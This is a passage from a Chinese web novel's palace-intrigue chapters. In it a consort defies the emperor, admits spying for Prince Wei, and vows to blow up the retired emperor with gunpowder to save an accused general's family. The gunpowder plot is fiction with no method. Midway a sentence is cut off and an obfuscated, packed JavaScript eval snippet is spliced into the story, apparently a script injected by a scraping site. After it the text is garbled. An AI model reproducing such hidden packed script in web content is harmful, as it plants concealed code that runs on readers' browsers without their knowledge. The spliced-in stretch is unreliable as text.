随皇帝和霍贵妃前往皇陵拜祭的两位在午膳时辰踩进霍家的门槛,晏霁之晓得行知今日过来见霍桑柔,他便来霍家蹭顿午膳,瞧瞧行知见人的状况再把北境的动向通知他。 哪想,在皇陵时皇帝严防死守成功让魏王专注祭母亲和兄长,他专注拜祭姑母和表姐,整上午风平浪静没闹出幺蛾子,霍家反而捅出个响雷来,真是造了孽了。 “我们错估魏王对灵渠的态度了吧。”霍海啸声音微沉:“谁能想到呢,由把护国公府连根拔起的谋划转变成硬保护国公府得令魏王损失多少,灵渠竟然能逼到魏王答应。” 庭前阳光明媚,掠过他们四位时却仿佛蒙上了层阴霾般,穆国公霍秦川做唉声叹气状,晏霁之阴阳怪气:“北地想娶她的少年郎是谁也知道了,她眼光可真好,少年英雄啊。” 霍海啸没好气瞪他:“你拈酸吃醋得是不是太不是时候了?” “你告诉皇帝试试,你看嬴忱璧能不能当没事人?”晏霁之反呛,霍海啸捏捏眉心,看向祖父和父亲,穆国公做听天由命状,霍擎拍板:“禀告吧,宝儿要阻拦的,这事瞒不住,陛下早知道总比晚知道强得多,也甭挑日子了,午膳后,海啸你就进宫禀告吧。” “我和海啸一起进宫。”晏霁之表态,霍海啸嫌他:“这事你也要凑凑热闹吗?” “你找皇帝,我找贵妃,烦请有缘无分的大舅哥你帮我多多拖住嬴忱璧。” 霍海啸直接踹他,可嫌归嫌、踹归踹,该拦不住的,他也只能捎带上这糟心的混球。 午间的日晖拍打着散漫的调儿撩拨过皇城的紫殿朱门,悄然间给严肃皇城添份慵懒。 长春宫偏殿里兰草熏香,晏霁之进殿时,贵妃娘娘刚把宣纸熏好,还招呼男人:“我要抄些佛经送去皇陵烧,原该在今早去皇陵前就准备好的,怨我,你要不要也来抄两份?” 宫婢奉上热茶,晏霁之使个眼神,霍灵渠搁下笔,把在殿阁内的宫人都遣退,猜道:“是要四姐姐生前照顾她的所有宫人的名单吗?我放在寝殿里了,我现在就给你去拿?” “此事我禀告过皇帝,陛下令我暂做不知,是他和贵妃聊起时察觉异常,他知会太上皇后会传晏家相告让晏家光明正大查。”晏霁之走到殿前,往四周查看遍,他关闭殿门,走到书桌前把这女人拉起来挤开,抢她的太师椅坐。 霍灵渠很自觉坐他怀里还叮嘱他:“一会儿你就规矩坐着吧,不然真有危险的。” 我只是抢你的座椅,是你主动扑我怀里吧,你没看见我都没拉你入怀么,你看不出来我是在生气吗?晏霁之很善良地没怼她,斜睨她算账:“你认识行知吧?” 霍灵渠微怔:“行知?我是有故友叫行知,你也有朋友叫做行知吗?” “我认识的行知与你认识的行知应该是同个人,就是护国公的外甥行知,他今早在霍家和霍桑柔碰面了。”晏霁之恭维:“真没想到啊,你在北境的憨憨少年郎就是原牧炽。” “他在霍家和桑柔碰面?”霍灵渠愣住了:“行知怎会来京畿还去霍家找桑柔?” “护国公把他派进京做暗桩,他把京畿的消息传回北境,护国公回信叫他见霍桑柔。”晏霁之抬手捏捏女人的脸蛋,摆出副恶狠狠样凶她:“前天你假冒舒窈出皇宫是去看护国公府的女眷,对吧?在魏王背后逼着魏王硬保护国公府的人也是你,对吧? 你瞒得可真好啊,上月末我还拿这事问你,结果你就给我来个装傻充愣。你知道魏王毁掉既定谋划改成硬保护国公府要害他损失多少吗?这都能被你逼出来,魏王对你可真是好,我真是太小瞧你在魏王心中的份量了,没准儿他把你看得比他的嫡长子都重要。” 霍灵渠被他牵回思绪,横他眼,也没甚可再瞒:“我看你和我爹差不多德行,猜不出来怨提示不够,你自己不猜我能怨得了谁呀?不就怨你自己嘛,谁叫你看不起我呢。” 晏霁之差点被噎住,冷哼着强词对呛:“前世授康三十六年老皇帝大寿期间,记得吧,他还来过我们的竹屋喝茶,你当时可真不该躲着,要不然,你们未婚夫妻就能相认了。” “你够了!”霍灵渠难得不想惯着,晏霁之顿时被她把醋意拔高档:“我够了?你和他得是什么天赐良缘啊,青梅竹马各自遭逢大难后再相遇做未婚夫妻,你可真了不得。” “你知道他是六哥哥?”霍灵渠惊讶,晏霁之醋意大发强烈谴责:“我知道很正常吧,你觉得我不该知道吗,你跟我说什么来着,我喜欢六哥哥,呵,你还真是喜欢呢。 原来是你童年的青梅竹马,你童年的未婚夫都没他跟你玩得多;难怪,生母大仇未报,你还在人家家里做细作,你都能接受人家的喜欢还做未婚夫妻,你可真是好样的!” 霍灵渠抿抿唇不想搭理他,晏霁之冷笑着得寸进尺:“说吧,怎么补偿我?” “我想起件事来,皇帝今年要废后。”霍灵渠俏脸纯真褒奖:“霁之,你猜的真准。” “你脸皮真厚,既然你跟我转移话题,我就再跟你算笔账:前天你对皇帝撒娇了吧,你有本事啊当众对皇帝说你耳聋了。”晏霁之笑得邪性:“你和嬴忱璧进展到哪步了?” 霍灵渠奇怪:“我对皇帝说耳聋没听见怎么了,你不是说我多多违拗皇帝总没错吗?” 呃?是他太敏感吗?晏霁之叹息声,改问皇帝欲废后的事,霍灵渠好脾性,没多计较就把当夜的情况告诉他,晏霁之听得无语凝噎,懒得评置。 晏霁之端起茶盏饮半杯茶水,正经道:“记得你曾经说过‘我一身罪孽早已死不足惜’,当时我以为我听懂了,其实我没听懂,你说的一身罪孽是指定襄的战事,对吗?” 霍灵渠黯然低眸眼酸,没说话。晏霁之肯定道:“初一那天魏王告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍灵渠自然问:“是什么事?” 晏霁之答:“朝堂的事你不懂,这也不是三言两语能跟你讲明白,总之你放心。” 霍灵渠再问:“你能拦住他的圣旨不让他召护国公回京吗?” 晏霁之叹口气规劝:“这道圣旨是拦不住的,但护国公回京与被定罪还言之尚早。” “魏王很肯定说,此事,圣人心意已定,不容更改;连你都告诉我,这道圣旨拦不住。一个对亲儿都能毫不犹豫举屠刀的至尊,他决意除掉的武将还能有什么人什么事挡得住?”霍灵渠视线落向摆在桌案的佛经,绝美的容颜泛起悲凉。 “太上皇对废楚王兄妹和庄太妃也不过尔尔吧,11年前,是他容不下储君、是他安排令废楚王调遣军队护卫京师里应外合,悼太子拿命相求以及河间军要交代,他就那么轻易地把他疼爱的废楚王兄妹舍掉了,轻易得好像他这份疼爱是个错觉。” 霍灵渠冷嗤:“他疼爱废楚王,不能宣告是他令楚王调兵谴将吗,河间军逼宫又如何,他想扑灭这场叛乱难道很难吗?他本就想废储,不是正中下怀该把东宫的势力扑灭吗?他会在河间军的兵锋前保住庄氏,多半也是出于辖制魏王的考量吧?” “毕竟只留晋王对魏王不足为惧,那么魏王将会给他多增许多麻烦。”霍灵渠牵牵唇,似满含薄凉又像深邃难测:“霁之,你能告诉我,他因何不保废楚王兄妹吗?” “不值得,比起他强保废楚王兄妹将会付出的代价,废楚王兄妹根本不值得他去保。”晏霁之抬手抚抚美人的娥眉,叮嘱道:“我和你大哥一起进宫来的,海啸在向陛下禀告,嬴忱璧很快就会过来,你面对皇帝时谨记克制住自己,否则对护国公府没好处。” “我会在圣人颁旨后在护国公回京前去跟太上皇同归于尽。”霍灵渠握拳,眼神决然:“倘若拿我的命逼他会将霍家置于险境,我就跟他同归于尽,我看他还能害谁?!” 晏霁之真真被懵住几息时间,然后被气笑了:“你说什么,你再说遍,你要做什么?” 霍灵渠毫不畏惧注视他豪横放言:“我要去跟太上皇同归于尽,我看他还能害谁?!” 这女人疯了!晏霁之醋意灌顶:“原家能让你为他们去死?” “当然能!”霍灵渠扫尽悲怆凄苦,霎时间斗志激昂:“五年前我在北疆犯下的罪孽,一死都不足赎矣,用我的命若能保住护国公府无恙,都是我赚了,我岂能再退缩?” “是原牧炽吧!”晏霁之讽刺:“说得那么冠冕堂皇,根本只是因为原牧炽吧?” “啊?”霍灵渠没懂:“什么只因原牧炽,你扯六哥哥做什么,你在说什么呀?” “哼!”晏霁之冷笑她的装傻充愣,凶她:“我说你肯这样为原家牺牲,什么赎罪,不过是你在扯幌而已,是你喜欢原牧炽,你要为心爱的男人付出才是吧。” 霍灵渠奇怪:“这跟我喜欢六哥哥有什么关系,当然是我要赎罪,我骗你做什么?” 晏霁之按捺着翻滚的醋意做奚落不屑状:“难道你喜欢原牧炽是什么难堪的事吗,还要你这样遮遮掩掩?你不觉得假吗,有种你敢发誓这不是因为你喜欢那位?” 霍灵渠坦率:“行啊,你想让我发什么誓还有拿谁来发誓?” 晏霁之打量她,迟疑道:“拿你爹和妹妹来发誓,你敢吗?” “可以啊。”霍灵渠捧过瓷盅喝燕窝汤,态度随意极了。晏霁之再愣下,端起茶盏边喝茶水边猜测她的可信度顺便怀疑是他太敏感吗?他放下茶盏,他拷问:“假若,假若你在北境时没有做魏王的细作,今朝你还会为救原家而牺牲自己吗?” “当然不能呀。”霍灵渠奇怪:“好端端的,我作甚想死,你在想什么呢?” 呃?晏霁之真有点不敢相信:“可你心爱的六哥哥会死,如果你不牺牲自己的命搭救,你的六哥哥就会死,在你无需赎罪的前提下,你能眼睁睁看他死吗?” 霍灵渠实在道:“假若只能用我的命来搭救,那肯定没法救了,只能让他死。” “你不是喜欢他吗?”晏霁之觉得忒假,霍灵渠反问:“你能为喜欢的人去死啊?” “呃……”晏霁之被噎得真得怀疑:“你真的只是因为想赎罪?” “当然啦!”霍灵渠真搞不懂他有什么不能理解的:“不是赎罪,我做什么想死呀?” “难道你赎罪比你的六哥哥还重要?”晏霁之莫名忐忑,霍灵渠理所当然:“当然呀,因我而害那么多将士惨死,我一死都难赎,若能赎罪,我岂能再贪生;而六哥哥,我再喜欢他都不能把他看得比我自己还重要吧,生命那么宝贵的,你到底在想什么? 晏霁之抬手拍额头,真不知高兴多还是心塞多,是他的错,他不该在明知这女人还处在五六岁孩童的喜欢时还居然会觉得这女人能因为情爱要死要活。 霍灵渠蹙蹙眉,想拿掉他的手臂时晏霁之主动放下了,反瞪瞪她鄙视:“你知道太上皇有多少人保护吗?你能有本事跟圣人同归于尽?” “能的!”霍灵渠辩解道:“我就带着火药去太微宫,圣人他绝对想不到我会带着火药,我再要求跟他单独谈话,我一定能跟他同归于尽。” 晏霁之愣是被她活活憋住:“你厉害了,请问这么厉害的主意你是怎么想出来的?” 霍灵渠喜上眉梢,小表情可得意:“就是我想该怎么对付你时想到的,若是将来你敢害我,你就用火药跟你同归于尽,我看你还能怎么害我?” “我谢谢你啊!”晏霁之被气得飙高音:“可你知道你拿火药炸死太上皇的后果吗?你问问皇帝,他是不是只想把大权拿过来后奉养老爹颐养天年,嬴忱璧还是很孝顺的,你要是和太上皇同归于尽了,你可就是皇帝的杀父仇人,你还想指望皇帝能放过霍家?” 站在殿外的两位诡异对视眼,霍海啸都想捂脸,这俩人都在天方夜谭些什么,居然能飚出拿火药炸死太上皇?!他们刚到,刚走到庭前就听到晏霁之没好气高吼‘我谢谢你啊’,还未多想又传出惊人的话来直接令皇帝刹住脚步选择在殿外听会儿。 殿内,霍灵渠完全没觉妨碍:“那我就把皇帝捎带上,我跟他们父子同归于尽。” 她话落,站在殿外的皇帝脑仁突突突跳,霍海啸硬是哭笑不得地扶额。殿内,晏霁之狠狠恭维:“你还是去把皇帝气死吧,我不是嬴忱璧本人我都能被你气得半死,你一定有本事能把嬴忱璧气死的。” 霍灵渠配合幽默:“可是还有太上皇压着呀,我又没本事能把太上皇气死,要是能的话,我还用得着拿我自己的命来填吗?所以最后肯定还是只能同归于尽。” “你给我消失!”晏霁之忍无可忍了:“滚出我的视野,十息时间内我不想看见你。” “哼!!” 霍灵渠冲他重重哼声,跳出男人的怀抱,绕到桌旁拎起茶壶倒茶喝,她刚喝下杯茶水,大殿门被轰然踹开,她愣下慢慢转头,果然看见皇帝走进来,皇帝身后跟着她大哥。 她又愣下才惊觉是皇帝在殿外偷听,心漏掉拍,忽然脸唰白而耳朵热起来,下意识僵住忘掉施礼只转向晏霁之。晏霁之没好气瞪瞪她,绕到桌前作揖行礼问安。 正徽帝嬴忱璧沉默甚至阴沉得吓人,鹰隼般的视线紧盯贵妃,霍灵渠顶着皇帝的高压挪到晏霁之身边,想敛衽施礼请安还是没绷住,小碎步挪到晏霁之背后藏起来。 霍海啸差点不忍直视,晏霁之瞟着她的行为也差点傻眼,这女人可真是绝了,缓和道:“陛下、海啸看,灵渠还是很有本事的,想做坏事被捉住了还知道要躲起来。” 正徽帝嬴忱璧深呼吸,拨高音沉沉喝道:“贵妃,出来!” 91. 第91章 咚咚咚!皇帝高昂的怒吼震耳欲聋,在略空旷的殿里若有回响般激荡着‘出来!’ 霍灵渠咬咬唇,心砰砰跳,双手交缠紧握,挪出来,重新出现在有些骇人的皇帝面前,没想到施礼请安,还有胆量问:“大哥,你们何时来的?” “够清楚听到你的同归于尽了!”霍海啸难得能对这妹妹没好声,霍灵渠头皮发麻,正徽帝嬴忱璧怒叱:“贵妃,朕疼爱贵妃就纵得贵妃如此胡天胡地胡闹吗?什么同归于尽,都是些什么乱七八糟的东西,不准再想,听到没有?!” 霍灵渠犹若窥察般抬眼觑皇帝,晏霁之毫不迟疑拆台:“陛下,她有异议。”引得霍灵渠转头瞪他,嬴忱璧只觉额角青筋直暴:“贵妃,朕的命令,听到没有?” “陛下,不是我想同归于尽,我怎么会不珍惜自己的生命,实在是护国公府危在旦夕,除让太上皇死之外没有能拯救原家的办法了。您别跟我说君要臣死、臣不得不死,我不信奉这个;陛下若能应允不迁怒霍家,我不会跟你同归于尽,我只跟太上皇同归于尽。” 霍灵渠小心提醒:“毕竟太上皇死了对你大有好处,我对陛下也算有功劳。” 霍海啸想他还是让贵妃闹完再向皇帝请罪吧,晏霁之腹诽难得她还能算到这笔账。正徽帝嬴忱璧忍着几乎要沸腾的血液严厉告诫:“朕刚传喻不准贵妃再想什么同归于尽,贵妃就拿朕的话当耳旁风吗?贵妃,不得再胡闹,否则朕可要下令禁足了。” “可是陛下,我绝不能看着护国公府被太上皇这般栽赃污赖害死。”霍灵渠凄哀苦笑:“陛下没有上过战场没有看见过北疆鲜血淋漓,臣妾看见过;陛下没有看见过前线将士们英勇牺牲马革裹尸还的悲壮,臣妾看见过。你不觉得荒谬,我觉得荒谬。 假若护国公府当真有罪,太上皇要诛灭护国公府是原家罪有应得,可是护国公府没罪,是功高震主被忌惮是在圣人手中躲过两回杀机而被痛恨欲杀之,我只觉得太滑稽。臣妾自觉还不如太上皇死掉,只要陛下不降罪霍家,您放心,我必定不会捎带上您。” 嬴忱璧算是被贵妃气得都冷静了:“倘若朕欲降罪霍家,贵妃就想害死朕?” 霍灵渠怀疑皇帝脑子有问题:“你想屠我霍家满门,难道还要我对你感恩?” “朕何时要屠霍家满门?”嬴忱璧算搞懂了,霍灵渠无语:“你不是要降罪霍家吗?” “降罪和满门抄斩能等同吗?”皇帝真是被气得居然还得教导她:“贵妃都在想什么,小到训诫贬谪都是降罪,谁想到降罪就是满门抄斩,贵妃岂能这样思考事情?” “哦,毕竟我若跟太上皇同归于尽,我就是你的杀父仇人……”我可不觉得你能饶恕,霍灵渠瞧着皇帝的黑脸识相略过转而表示:“行吧,臣妾换个说辞,只要陛下您不屠杀霍家,臣妾不会跟您同归于尽,您若有愤恨就尽管对霍家发泄吧。” 嬴忱璧平复下,走到书桌前在太师椅中落座,让贵妃传宫婢来奉茶水。 霍灵渠瞧着皇帝似有长篇大论的架势默默腹诽:我觉得我没什么还要跟你谈的。然后,去找宫娥们准备热茶糕点送来,她走回到廊前,看高阔的殿阁屋檐莫名压抑,转而走到庭前晒晒太阳,熨帖些了,宫娥们备好热茶点和新鲜瓜果,她再带着她们鱼贯而入。 宫婢们奉好热茶点便告退出殿,霍灵渠转念想,又走到廊前确认,没人偷听才放心。 “贵妃还知道害怕,知道你的同归于尽若是外泄可是掉脑袋的事?”嬴忱璧喝半杯茶,看贵妃这德行真是忍不住又冒出气来:“可贵妃会否也太后知后觉了些?” 霍灵渠瞟瞟看她哥和晏霁之坐在靠窗边的玫瑰椅,对比下晏霁之下首的座椅和对面座位,她搬把椅来放在书桌旁、皇帝和她大哥之间,再把茶点端来,对皇帝的话置若罔闻。 晏霁之真怀疑她想故意靠近皇帝,嬴忱璧莫名心情好点都不计较贵妃没应话,再确认:“贵妃在北境遇到的少年郎就是原小将军?”其实已毋庸置疑,否则贵妃闹什么。 霍灵渠点头应嗯,皇帝头疼:“贵妃就这么想护着原家?” “陛下能拦住太上皇的旨意吗?”霍灵渠涌起丝希冀揣着心问:“我问过魏王和霁之,他们都告诉我,圣人心意已定,调护国公回京的圣旨挡不住,陛下能拦住吗?” “圣人欲传护国公回京的心意已定,朕不能连太上皇想见见护国公都阻拦,护国公回京确已是铁板钉钉,不会再变动。”嬴忱璧话落,霍灵渠眉眼间的落寞清晰可见。 嬴忱璧见此放软态度:“贵妃,朝堂的事你不懂,护国公府这事更没有贵妃介入的余地,莫再胡闹了,更不得再想什么同归于尽;也不单是这回,今后无论发生什么事,你都不能有这种荒谬的想法,哪有拿同归于尽来要挟朕的。贵妃,记住没有?” 皇帝觉得灵渠是在耍后宫最惯用的一哭二闹三上吊?霍海啸想,是在情理中。 霍灵渠低眸不语,不知道在盘算些什么。皇帝再训遍,她明显敷衍地含糊应嗯,嬴忱璧只得暂且放掉这茬改追问:“五年前,授康二十八年魏王会保护国公府是因贵妃请托?” 再得到个嗯字,嬴忱璧挑破窗户纸:“那么,贵妃和魏王是什么关系?” “是属下和主公,我在英王府时是他安插在晏家的细作。”霍灵渠没避讳。 霍海啸执起茶壶倒杯热茶,晏霁之在心底哼哼,挨着果盘吃樱桃。嬴忱璧看眼晏霁之,略微沉吟两息时间再问:“魏王都让贵妃在晏家打探过什么消息?” 霍灵渠讶然抬眸,仿佛不可思议:“这怎么能告诉陛下呢?” “陛下,她说她有做细作的素养。”晏霁之补刀,皇帝意外:“晏卿已和贵妃对峙过?” “是,是在贵妃进宫前几日时挑明的。”晏霁之答,嬴忱璧挑眉:“晏卿是何时知晓?” “禀陛下,臣在前年年中起疑,前年年末确实。”晏霁之编,嬴忱璧看向桌案的佛经,语气莫名:“一年多,霁之给魏王挖了一年多的坑,他都没察觉出来?” 晏霁之随便皇帝那点疑心地淡淡笑:“陛下,臣给出的是真讯息,在知道流光是魏王的细作之后,不论流光想打探什么,臣给的仍是真实情况。” 霍海啸微讶,正徽帝嬴忱璧下意识欲追问然话到嘴边迟疑下便算了,交代贵妃:“贵妃入宫前的往事,朕就不追究了,明日,贵妃请魏王进宫,跟他断掉。” 霍灵渠顶撞:“陛下你又不是我的主公,我做什么要听从你的安排?” 晏霁之厚道地不看,嬴忱璧倏然太阳穴跳了跳就觉得有不好的预感,斥道:“贵妃不和魏王断掉不应有的关系难道还想在宫里接着给魏王做细作不成,简直胡闹!” 霍灵渠眼观鼻鼻观心,浑然副默认的态度,刺激得皇帝吼她:“贵妃?!” 贵妃应:“我有做细作的素养,既没脱离主公麾下,主公有指令,自然斟酌着办。” 霍海啸别开眼,晏霁之厚道地没有暗爽,正徽帝嬴忱璧被这混账德行激得差点脑充血:“胡闹,简直胡闹之极!魏王许给贵妃什么好处了竟让贵妃这般替他买命,你是朕的贵妃,贵妃想要什么想做什么难道朕不能给你反而还要让你向魏王伸手吗?” 霍灵渠赔笑提示:“陛下息怒,不是臣妾不愿意听从陛下的吩咐,而是我进宫前就已经是他的属下,这事跟您没关系,您作甚非得管我何时跟我主公断掉?” “胡闹!荒谬!你是朕的贵妃,你在宫里给魏王做细作能是与朕无关吗?” 皇帝从重警戒:“贵妃不想跟魏王断掉想做什么,贵妃做事还有没有分寸,魏王给贵妃许什么好处了,什么好处竟能让贵妃倒向魏王,贵妃莫不是还想让朕怀疑霍家的忠诚?” 霍灵渠小心翼翼纠错:“陛下,我没有倒向魏王呀,我进宫前就在他的麾下,这些年,我是他的属下又不是你的属下,倘若我背着主公倒戈投向陛下,我才是个叛徒吧。” 霍海啸很平静,晏霁之忍住不笑,嬴忱璧憋着窝火再训:“可贵妃已是朕的贵妃,你也已经和霍家相认,你不思和魏王断掉反而想继续留在魏王麾下,贵妃想做什么?” “陛下,我做贵妃、我回归霍家与我何时跟我主公断掉有什么关系?我和我主公的事,跟我和他以外的人和事又没关系,我跟他最近又没闹矛盾更没要让我脱离他麾下的事。” 霍灵渠思路清晰地不赞同:“无缘无故,我作甚想脱离主公麾下,若只因做贵妃之故,这不成小人得志翻脸不认人品行不端了吗?陛下把人看得未免也太卑劣了吧。” 嬴忱璧隐隐觉得心口疼,快刀斩乱麻:“贵妃已伴在君王侧,还给魏王做细作成何体统?贵妃若是抹不开情面,朕来和魏王谈吧,朕会备份厚礼谢过魏王对贵妃的照顾。” 霍灵渠不厌烦地纠错:“陛下,不是我做贵妃之后给魏王做细作,而是我做贵妃前就是魏王的细作,是你把魏王的细作封做贵妃。陛下你封个细作做贵妃还要怪这个细作做细作,您这不是无理取闹吗,我何时脱离我主公麾下,您就别操心了,我有分寸的。” 晏霁之觉得他忍笑忍得略艰难,嬴忱璧强压着翻滚的气息拂掉言语机锋下令:“总之,贵妃不能再给魏王做细作,朕会代贵妃出面和魏王谈,此事,贵妃就不必再操心了。” “可任您再怎么跟魏王谈,他都会来向我求证。”霍灵渠实在言:“我肯定如实告诉他,到时陛下您的吩咐就会变成您在自说自话,跟我跟他都没关系,陛下又是何必?” “贵妃?!”嬴忱璧拍桌,真动怒了:“还有体统吗?朕是在交代你命令你、不是在跟你商量没得让你讨价还价,你只需按旨意办事。如何侍奉君王,还要朕来教你吗?” 两位做臣的男人站起来跪下请罪,霍灵渠同样站起来,没有跪,站得笔直问:“陛下是想告诉臣妾,侍奉君王不能有自我,任何事都只能按皇帝的意志来办吗?” 正徽帝靠在太师椅中,淡漠示下:“皇权君威不容有秋毫之犯,贵妃该当懂得。” “我不懂,我还真不懂皇上您是只会对霍家摆帝王君威还是您的皇后当真是您的挚爱,中宫娘娘嫌恶你没用多少年了,你不照样巴巴给她送皇嗣,费心操持想让她后半生安稳;甚至半年前她就在盼你驾崩,这半年里,你又何曾计较过她盼着你死?” 霍灵渠走到书桌前,眼中似有团火在灼烧:“一个多月前,你这个皇帝连察觉到她辞位离宫后可能会耐不住寂寞都没舍得对她如何,就轻飘飘地让我找机会帮你宣告你今后不会再留宿椒房殿,多宽容,怎么到我这儿就如此刻薄寡恩? 是我发昏竟然敢妄想跟皇后比较还是陛下就没打算对霍家好,你根本不值得相信,我若是和太上皇同归于尽,你定然会屠尽霍家满门?皇上不必再费心教我如何侍奉君王,我和你同归于尽,我一定拿火药炸死你和你爹,我看你们还能害谁?!” 晏霁之只想这女人温顺嚣张真自如,霍海啸脑仁有点充血,想皇帝算账时再请罪吧。 正徽帝嬴忱璧真心口疼,突然相信晏霁之对贵妃说的‘你一定有本事能气死嬴忱璧’,他觑眼两个碍眼的,实在没法当着外臣的面来放低身段哄贵妃啊,只能教管:“贵妃如此胡闹还像话吗,你若是再仗着朕的疼爱不知进退,朕可真要训斥国舅了。” “陛下何必磨磨唧唧的,你把霍漓江扔牢里吧,嫌不够的话你把霍秦川也扔进去吧。”霍灵渠豪横冷笑:“我一定在你杀他们之前跟你同归于尽,你若是今天就想杀我爹,我现在就跟你同归于尽,不,我让姑母先把你捆住,再把你爹叫来,我拿火药炸死你们。 你嬴忱璧若还是个男人你就明明白白说出来你想什么时候杀我爹,我都坦诚布公了,你堂堂皇帝还有什么好藏着掖着,你若是连我都不如,你就不是个男人!” 晏霁之都有点想同情皇帝了,这女人忒狠。 霍海啸想他还是保持沉寂由着贵妃和皇帝闹吧,贵妃再怎么闹,皇帝应该都受得住。 还受得住的皇帝嬴忱璧浑身热血都在沸腾几乎都有拨刀踹桌的冲动,咬牙克制:“贵妃莫非以为你能困得住朕,朕看他们两个,谁敢帮着你胡作非为?” 霍贵妃表示:“我又没指望他们,我指望的是我姑母。” 皇帝轻蔑:“太后?你找太后就能有用吗,把话给朕收回去,否则休怨朕禁足贵妃。” “你觉得我还能再遵从你的命令吗?你还是痛快给个话吧。”霍灵渠对峙。 “好!”皇帝以傲然的碾压姿态宣告:“贵妃就乖乖在长春宫闭门思过吧。” 皇帝话落,霍灵渠拔腿往外跑,正徽帝嬴忱璧愣下,眨眼间就看不见贵妃的身影,他再愣下才反应过来,对上霍海啸和晏霁之的视线,他一阵激灵,连忙带他们去追,追至殿外,一路根据目睹的宫婢的回禀寻至霍太后正在的殿中。 “皇帝,贵妃是女儿家,自幼娇惯,你有什么事能闹得要跟贵妃喊打喊杀?还有海啸,你都在场的怎么都不知道帮忙劝,就这么任由皇帝跟贵妃吵起来,像话吗?” 嬴忱璧语带急切:“母后,贵妃性急倔强,误会了,您让贵妃出来,朕和海啸会好好安抚贵妃。您放心,此事真是贵妃误会而小题大做了,您就让贵妃出来吧。” 霍太后的态度倒也没偏颇:“贵妃拿着母后的令牌出宫了,要找兴献侯,还闹着要骑马,母后只得派几名懂武的宫婢跟着,这会儿估计到昭德门了吧。” 嬴忱璧忽然感到阵悲催,霍海啸平静想,贵妃肯定是找爹爹拿火药去了。 皇帝按捺住内心的抓狂,尽量表现淡定地带着俩臣子向太后告退,来到长春宫正殿前,他抬首遥望辽阔蓝天,点名问:“霁之,你觉得朕该出宫找贵妃吗?” “禀陛下,臣推测,兴献侯应该能管住闺女,但打消不掉贵妃的心思。” 正徽帝嬴忱璧不得不认真点对待:“你们觉得贵妃这胡闹劲儿有一丝真吗?” “您最好做万全的准备。”晏霁之话落,皇帝眼风扫向他,他坦率道:“第一,防贵妃真发疯;第二,若护国公回京则原小将军必会随同归来,您能防住他们不相认吗?且不论原小将军态度如何,以贵妃现在的调调,您不怕到时会天天脑仁疼?” “十分真。”没给皇帝考量的空隙,霍海啸紧随‘危言耸听’,嬴忱璧和晏霁之看向他,他镇定道:“灵儿对正事向来是想做什么就会做,真去做而不是故作姿态来威胁人。” “海啸疯魔了?”皇帝斥:“什么叫同归于尽什么是同归于尽,贵妃还能不要命了?” 霍海啸应是,晏霁之距离他更近,比皇帝抢前步揪住霍海啸的衣袖怒喝:“你疯了,你想蛊惑陛下帮贵妃保住护国公府也犯不着这么扯谎来危言耸听吧?” “我没有扯谎更犯不着扯谎。”霍海啸看向皇帝,道:“陛下认为贵妃在胡闹,是因为想拿火药把人炸死总得先把人控制住,贵妃总不该不明白这样浅的常识。故,贵妃的折腾就像在向您撒娇想胁迫您,但臣想说,贵妃没有在闹。 她只是想到用火药但没顾虑周全,兴献侯定会告诉贵妃她这谋划的破绽,那么,贵妃或思虑周祥或想其他办法,总归她心意已定就绝不会放弃。陛下倘若不信尽可旁观,但您若非得认定贵妃在假装想胁迫您才是真,臣亦无话可说,全凭您乾纲独断。” 晏霁之沉默会儿后松开他,正徽帝嬴忱璧审视霍海啸许久后,给出在此假设上的考量:“可贵妃都不曾向朕和霍家提过要救护国公府,她就能闹着想同归于尽吗?” “陛下的问题,贵妃给过答案了。” 霍海啸提醒:“贵妃明言,她向魏王和晏霁之都求证过可否能拦住圣人的旨意?贵妃得到的结果是,圣人心意已定不容更改,刚在偏殿时贵妃还又向您求证过。 陛下已再再掐断贵妃的祈盼。在贵妃看来,既然太上皇心意已定不能再更改,她再向您和霍家提还能有用吗?没用,既然没用,自然只剩同归于尽。” 霍海啸补充:“这想法符合贵妃的作风,确是贵妃能想能做的事。” “你在说什么混账话?”嬴忱璧怒喝:“同归于尽也能叫做符合贵妃的作风?” “陛下,灵渠自幼想要什么想做什么就能得到、做到,她不会转弯,她的想法是直的,她的思维、她的处事态度是用最简单直接的方式来达成目的。” 霍海啸叹道:“您得按贵妃的想法来推测,既然太上皇和原家已成你死我活之势,灵渠想要让原家活自然得让太上皇死,她想要同归于尽的想法自是符合她的作风。” “霍海啸?!”嬴忱璧真生气:“贵妃想的什么,原家还能值得贵妃为他们去死?” “陛下,此事不在于原家值不值得而在于贵妃认为她想做的事值不值。”霍海啸平静以对:“但凡贵妃觉得她要做的事比她的性命重,她就会不惜命。当前,既然贵妃打定主意要保护国公府无恙,她自然会付出任何她付得起的代价,这代价当然包括她的命。” 皇帝嬴忱璧逼视霍海啸良久都没逼出他的心虚,高声咆哮:“传穆国公兴献侯进宫!” 穆国公霍秦川来得比预想早许多,他不是接到内侍的传召才进宫而是来收拾烂摊子来了。造孽啊他都准备听天由命了,贵妃侄女还非得逼他起来挣扎,他苦啊,比黄连还苦。 来到皇帝煞气腾腾落座的湖心亭中,霍秦川麻溜跪下:“陛下息怒陛下恕罪,您放心,兴献侯陪着贵妃在刑部周旋,必定会拦着贵妃不会让贵妃跑去太微宫胡闹。” 皇帝嬴忱璧的愤怒溢于言表:“国舅以为该如何打消贵妃这胡闹劲儿?” “陛下恕罪。”霍秦川悲催:“除非能拦住圣人,否则恐怕贵妃日日都不能消停。” “穆国公?!”嬴忱璧拍桌,霍秦川把头再低得低些,原本坐着的俩人站起来跪下,嬴忱璧不得不怀疑:“到底是贵妃在胡闹还是你们联合起来唆使贵妃欲胁迫朕?” 三人整齐得异口同音:“陛下明察,臣绝无此心,否则叫臣遭天打雷劈不得好死。” 嬴忱璧顺势吩咐:“既如此,国舅就劝住贵妃,不得再胡闹了。” 霍秦川自觉好苦啊:“陛下恕罪,老臣真没法能劝住贵妃,贵妃决意要救护国公府,除非陛下您将老臣和臣弟都砍了,以此威逼贵妃,否则贵妃决计不可能妥协。” “穆国公是不知你威胁朕的下场还是想让朕帮你清醒清醒?”嬴忱璧能信才怪,霍秦川连连磕头表忠心:“陛下,老臣怎敢妄言蒙骗您,贵妃现就在刑部大牢,您尽管把老臣和臣弟都扔进刑部大狱拿刑部的刑具来用遍,您尽管当着贵妃的面处置。 